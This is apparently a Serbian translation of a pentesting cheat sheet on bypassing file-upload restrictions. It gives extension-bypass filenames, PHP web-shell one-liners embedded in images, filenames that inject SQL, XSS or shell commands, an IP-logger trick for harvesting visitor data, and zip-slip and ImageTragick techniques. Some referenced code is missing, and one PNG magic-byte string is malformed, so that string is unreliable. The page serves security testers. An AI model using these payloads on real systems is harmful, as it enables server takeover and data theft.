File Upload
Ako ste zainteresovani za hakersku karijeru i hakovanje neuhvatljivog - mi zapošljavamo! (potrebno je tečno poznavanje pisanog i govornog poljskog jezika).
Opšta metodologija za uploadovanje fajlova
Drugi korisni nastavci:
PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
Rad u PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
Coldfusion: .cfm, .cfml, .cfc, .dbm
Flash: .swf
Perl: .pl, .cgi
Erlang Yaws Web Server: .yaws
Bypassovanje provere ekstenzija fajlova
Ako se primenjuju, proverite prethodne ekstenzije. Takođe ih testirajte koristeći neka velika slova: pHp, .pHP5, .PhAr ...
Proverite dodavanjem validne ekstenzije pre ekstenzije za izvršenje (koristite i prethodne ekstenzije):
file.png.php
file.png.Php5
Pokušajte dodavanjem specijalnih karaktera na kraju. Možete koristiti Burp da bruteforce-ujete sve ascii i Unicode karaktere. (Imajte na umu da možete pokušati koristiti i prethodno pomenute ekstenzije)
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.php....
file.pHp5....
Pokušajte da zaobiđete zaštitu prevareći parser ekstenzija na serverskoj strani tehnikama poput udvajanja ekstenzije ili dodavanja beskorisnih podataka (nula bajtova) između ekstenzija. Takođe možete koristiti prethodne ekstenzije da biste pripremili bolji payload.
file.png.php
file.png.pHp5
file.php#.png
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
file.phpJunk123png
Dodajte još jedan sloj ekstenzija prethodnoj proveri:
file.png.jpg.php
file.php%00.png%00.jpg
Pokušajte da stavite izvršnu ekstenziju pre validne ekstenzije i nadajte se da je server loše konfigurisan. (korisno za eksploataciju Apache konfiguracija gde će bilo šta sa ekstenzijom** .php, ali ne nužno završava u .php** izvršiti kod):
npr: file.php.png
Korišćenje NTFS alternativnog toka podataka (ADS) u Windows-u. U ovom slučaju, karakter „:“ će biti ubačen posle zabranjene ekstenzije i pre dozvoljene. Kao rezultat, na serveru će biti kreiran prazan fajl sa zabranjenom ekstenzijom (npr. “file.asax:.jpg”). Ovaj fajl može biti kasnije izmenjen korišćenjem drugih tehnika kao što je korišćenje njegovog kratkog imena fajla. Obrazac “::$data” takođe može biti korišćen za kreiranje nepraznih fajlova. Stoga, dodavanje tačke nakon ovog obrasca takođe može biti korisno za zaobilaženje daljih restrikcija (npr. “file.asp::$data.”)
Pokušajte da pređete granice imena fajla. Validna ekstenzija se odseče. A zlonamerni PHP ostaje. AAA<--SNIP-->AAA.php
Bypassovanje Content-Type, Magic Number, kompresija & promena veličine
Bypass Content-Type provere postavljanjem vrednosti zaglavlja Content-Type na: image/png , text/plain , application/octet-stream
Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt
Bypass provere magic number-a dodavanjem na početak fajla bajtova prave slike (zbunite file komandu). Ili uvedite shell unutar metapodataka:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\
ili takođe možete ubaciti payload direktno u sliku:echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
Ako se kompresija dodaje vašoj slici, na primer korišćenjem standardnih PHP biblioteka poput PHP-GD, prethodne tehnike neće biti korisne. Međutim, možete koristiti PLTE chunk tehniku definisanu ovde da ubacite neki tekst koji će preživeti kompresiju.
Web stranica takođe može promeniti veličinu slike, koristeći na primer PHP-GD funkcije
imagecopyresized
iliimagecopyresampled
. Međutim, možete koristiti IDAT chunk tehniku definisanu ovde da ubacite neki tekst koji će preživeti kompresiju.Još jedna tehnika za kreiranje payloada koji preživljava promenu veličine slike, koristeći PHP-GD funkciju
thumbnailImage
. Međutim, možete koristiti tEXt chunk tehniku definisanu ovde da ubacite neki tekst koji će preživeti kompresiju.
Ostali Trikovi za proveru
Pronađite ranjivost da preimenujete već uploadovan fajl (da promenite ekstenziju).
Pronađite ranjivost Local File Inclusion da izvršite backdoor.
Moguće otkrivanje informacija:
Uploadujte više puta (i istovremeno) isti fajl sa istim imenom
Uploadujte fajl sa imenom fajla ili foldera koji već postoji
Uploadujte fajl sa “.”, “..”, ili “…” kao njegovim imenom. Na primer, u Apache-u na Windows-u, ako aplikacija čuva uploadovane fajlove u direktorijumu “/www/uploads/”, ime fajla “.” će kreirati fajl nazvan “uploads” u direktorijumu “/www/”.
Uploadujte fajl koji se možda ne može lako obrisati kao što je “…:.jpg” u NTFS-u. (Windows)
Uploadujte fajl u Windows-u sa nevažećim karakterima poput
|<>*?”
u njegovom imenu. (Windows)Uploadujte fajl u Windows-u koristeći rezervisana (zabranjena) imena poput CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, i LPT9.
Pokušajte takođe da uploadujete izvršni fajl (.exe) ili .html (manje sumnjivo) koji će izvršiti kod kada ga slučajno otvori žrtva.
Specijalni trikovi sa ekstenzijama
Ako pokušavate da uploadujete fajlove na PHP server, pogledajte .htaccess trik za izvršavanje koda. Ako pokušavate da uploadujete fajlove na ASP server, pogledajte .config trik za izvršavanje koda.
.phar
fajlovi su kao .jar
za javu, ali za php, i mogu se koristiti kao php fajl (izvršavanjem ga sa php-om, ili uključivanjem unutar skripte...)
Ekstenzija .inc
se ponekad koristi za php fajlove koji se koriste samo za uvoz fajlova, tako da je u nekom trenutku neko mogao dozvoliti ovu ekstenziju da se izvrši.
Jetty RCE
Ako možete da uploadujete XML fajl na Jetty server, možete dobiti RCE jer se novi *.xml i *.war automatski procesuiraju. Dakle, kao što je navedeno na sledećoj slici, uploadujte XML fajl u $JETTY_BASE/webapps/
i očekujte shell!
uWSGI RCE
Za detaljno istraživanje ove ranjivosti pogledajte originalno istraživanje: uWSGI RCE Exploitation.
Ranjivosti za udaljeno izvršavanje komandi (RCE) mogu biti iskorišćene na uWSGI serverima ako imate mogućnost da izmenite .ini
konfiguracioni fajl. uWSGI konfiguracioni fajlovi koriste specifičnu sintaksu za uključivanje "magičnih" promenljivih, mesta i operatora. Posebno, operator '@', korišćen kao @(filename)
, dizajniran je da uključi sadržaj fajla. Među različitim podržanim šemama u uWSGI-ju, "exec" šema je posebno moćna, omogućavajući čitanje podataka iz standardnog izlaza procesa. Ova funkcionalnost može biti manipulisana u zlonamerne svrhe poput udaljenog izvršavanja komandi ili proizvoljnog pisanja/čitanja fajlova kada se .ini
konfiguracioni fajl procesuira.
Razmotrite sledeći primer štetnog uwsgi.ini
fajla, prikazujući različite šeme:
Izvršavanje payload-a se dešava tokom parsiranja konfiguracionog fajla. Da bi konfiguracija bila aktivirana i parsirana, proces uWSGI mora biti ili restartovan (potencijalno nakon pada ili zbog napada DoS) ili fajl mora biti podešen da se automatski ponovo učitava. Funkcija automatskog ponovnog učitavanja, ako je omogućena, ponovo učitava fajl u određenim intervalima nakon detektovanja promena.
Važno je razumeti opuštenu prirodu parsiranja konfiguracionog fajla uWSGI-ja. Konkretno, razmatrani payload može biti ubačen u binarni fajl (kao što je slika ili PDF), dodatno proširujući obim potencijalne eksploatacije.
Triks za otpremanje fajlova/SSRF trik sa wget-om
U nekim situacijama možete otkriti da server koristi wget
za preuzimanje fajlova i možete navesti URL. U tim slučajevima, kod može proveravati da li je ekstenzija preuzetih fajlova unutar bele liste kako bi se osiguralo da će biti preuzimani samo dozvoljeni fajlovi. Međutim, ova provera može biti zaobiđena.
Maksimalna dužina imenovanja fajla u Linux-u je 255, međutim, wget skraćuje imena fajlova na 236 karaktera. Možete preuzeti fajl nazvan "A"*232+".php"+".gif", ovo ime fajla će zaobići proveru (kao u ovom primeru ".gif" je validna ekstenzija) ali će wget
preimenovati fajl u "A"*232+".php".
Imajte na umu da je još jedna opcija o kojoj možete razmišljati kako da zaobiđete ovu proveru da naterate HTTP server da preusmeri na drugi fajl, tako da će početni URL zaobići proveru, a zatim će wget preuzeti preusmereni fajl sa novim imenom. Ovo neće raditi osim ako se wget koristi sa parametrom --trust-server-names
jer će wget preuzeti preusmerenu stranicu sa imenom fajla naznačenim u originalnom URL-u.
Alati
Upload Bypass je moćan alat dizajniran da pomogne Pentesterima i Bug Hunterima u testiranju mehanizama za otpremanje fajlova. Koristi različite tehnike nagradnih bagova kako bi pojednostavio proces identifikacije i iskorišćavanja ranjivosti, obezbeđujući temeljnu procenu veb aplikacija.
Od otpremanja fajla do drugih ranjivosti
Postavite ime fajla na
../../../tmp/lol.png
i pokušajte da postignete traversiranje putanjaPostavite ime fajla na
sleep(10)-- -.jpg
i možda ćete moći da postignete SQL injectionPostavite ime fajla na
<svg onload=alert(document.domain)>
da postignete XSSPostavite ime fajla na
; sleep 10;
da testirate neke tehnike ubacivanja komandi (više tričarija za ubacivanje komandi ovde)JS fajl otpremanje + XSS = Eksploatacija radnika usluge
Isprobajte različite svg payload-e sa https://github.com/allanlw/svg-cheatsheet****
Ako možete ukazati veb serveru da uhvati sliku sa URL-a možete pokušati da iskoristite SSRF. Ako će se ova slika sačuvati na nekom javnom sajtu, takođe možete ukazati na URL sa https://iplogger.org/invisible/ i ukrasti informacije o svakom posetiocu.
Posebno oblikovani PDF-ovi za XSS: Sledeća stranica prikazuje kako ubaciti PDF podatke da biste dobili izvršenje JS. Ako možete otpremiti PDF-ove, možete pripremiti neki PDF koji će izvršiti proizvoljni JS prateći date upute.
Otpremite [eicar](https://secure.eicar.org/eicar.com.txt) sadržaj da proverite da li server ima neki antivirus
Proverite da li postoji neko ograničenje veličine za otpremanje fajlova
Evo top 10 lista stvari koje možete postići otpremanjem (sa ovde):
ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
SVG: Stored XSS / SSRF / XXE
GIF: Stored XSS / SSRF
CSV: CSV injection
XML: XXE
AVI: LFI / SSRF
HTML / JS : HTML injection / XSS / Otvoreno preusmeravanje
PNG / JPEG: Pixel napad poplave (DoS)
ZIP: RCE putem LFI / DoS
PDF / PPTX: SSRF / BLIND XXE
Burp Ekstenzija
Čarobni bajtovi zaglavlja
PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
JPG:
"\xff\xd8\xff"
Pogledajte https://en.wikipedia.org/wiki/List_of_file_signatures za druge tipove fajlova.
Automatsko otpremanje Zip/Tar fajla koji se automatski dekompresuje
Ako možete otpremiti ZIP koji će biti dekompresovan unutar servera, možete uraditi 2 stvari:
Simbolička veza
Otpremite link koji sadrži softverske veze ka drugim fajlovima, zatim, pristupajući dekompresovanim fajlovima, pristupićete povezanim fajlovima:
Dekompresovanje u različite fascikle
Neočekivano stvaranje fajlova u direktorijumima prilikom dekompresije predstavlja značajan problem. Uprkos početnim pretpostavkama da ovaj postupak može zaštititi od izvršavanja komandi na nivou OS putem zlonamernih upload-ovanih fajlova, hijerarhijska podrška za kompresiju i mogućnosti pretrage direktorijuma ZIP arhivnog formata mogu biti iskorišćene. Ovo omogućava napadačima da zaobiđu restrikcije i pobegnu iz bezbednih direktorijuma za upload manipulišući funkcionalnošću dekompresije ciljane aplikacije.
Automatizovani exploit za kreiranje takvih fajlova dostupan je na evilarc na GitHub-u. Alat se može koristiti na sledeći način:
Dodatno, simbolička veza trik sa evilarc-om je opcija. Ako je cilj da se cilja datoteka poput /flag.txt
, simbolička veza ka toj datoteci treba biti kreirana na vašem sistemu. Ovo osigurava da evilarc ne naiđe na greške tokom svog rada.
Ispod je primer Python koda koji se koristi za kreiranje zlonamernog zip fajla:
Zloupotreba kompresije za prskanje fajlova
Za dodatne detalje proverite originalni post na: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
Kreiranje PHP Shell-a: PHP kod je napisan da izvrši komande prosleđene kroz promenljivu
$_REQUEST
.
Prskanje Fajlova i Kreiranje Kompresovanog Fajla: Kreiraju se više fajlova i formira se zip arhiva koja sadrži ove fajlove.
Modifikacija pomoću Hex Editora ili vi: Imena fajlova unutar zip arhive se menjaju korišćenjem vi-a ili hex editora, menjajući "xxA" u "../" kako bi se pretraživali direktorijumi.
ImageTragic
Otpremite ovaj sadržaj sa ekstenzijom slike kako biste iskoristili ranjivost (ImageMagick, 7.0.1-1) (iz exploita)
Ugrađivanje PHP Shell-a u PNG
Ugrađivanje PHP shell-a u IDAT blok PNG datoteke može efikasno zaobići određene operacije obrade slika. Funkcije imagecopyresized
i imagecopyresampled
iz PHP-GD su posebno relevantne u ovom kontekstu, jer se često koriste za promenu veličine i uzorkovanje slika, redom. Mogućnost ugrađenog PHP shell-a da ostane neizmenjen nakon ovih operacija predstavlja značajnu prednost za određene slučajeve upotrebe.
Detaljno istraživanje ove tehnike, uključujući metodologiju i potencijalne primene, pruženo je u sledećem članku: "Kodiranje Web Shell-ova u PNG IDAT blokovima". Ovaj resurs nudi sveobuhvatno razumevanje procesa i njegovih implikacija.
Više informacija na: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Poliglot fajlovi
Poliglot fajlovi služe kao jedinstveno sredstvo u kibernetičkoj bezbednosti, delujući kao kameleoni koji mogu validno postojati u više formata fajlova istovremeno. Zanimljiv primer je GIFAR, hibrid koji funkcioniše kao GIF i RAR arhiva istovremeno. Takvi fajlovi nisu ograničeni samo na ovu kombinaciju; kombinacije poput GIF i JS ili PPT i JS su takođe izvodljive.
Osnovna korist od poliglot fajlova leži u njihovoj sposobnosti da zaobiđu sigurnosne mere koje skeniraju fajlove na osnovu tipa. Uobičajena praksa u različitim aplikacijama podrazumeva dozvoljavanje samo određenih tipova fajlova za otpremanje - poput JPEG, GIF ili DOC - kako bi se umanjio rizik od potencijalno štetnih formata (npr. JS, PHP ili Phar fajlovi). Međutim, poliglot, pridržavajući se strukturnih kriterijuma više tipova fajlova, može prikriveno zaobići ove restrikcije.
Iako su prilagodljivi, poligloti se suočavaju sa određenim ograničenjima. Na primer, iako poliglot može istovremeno predstavljati PHAR fajl (PHp ARchive) i JPEG, uspeh njegovog otpremanja može zavisiti od politike ekstenzija fajlova platforme. Ako sistem strogo vodi računa o dozvoljenim ekstenzijama, sama strukturalna dvojnost poliglota možda neće biti dovoljna da garantuje njegovo otpremanje.
Više informacija na: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Reference
Ako ste zainteresovani za hakersku karijeru i hakovanje neuhvatljivog - zapošljavamo! (potrebno je tečno poznavanje poljskog jezika u pismenoj i usmenoj formi).
Last updated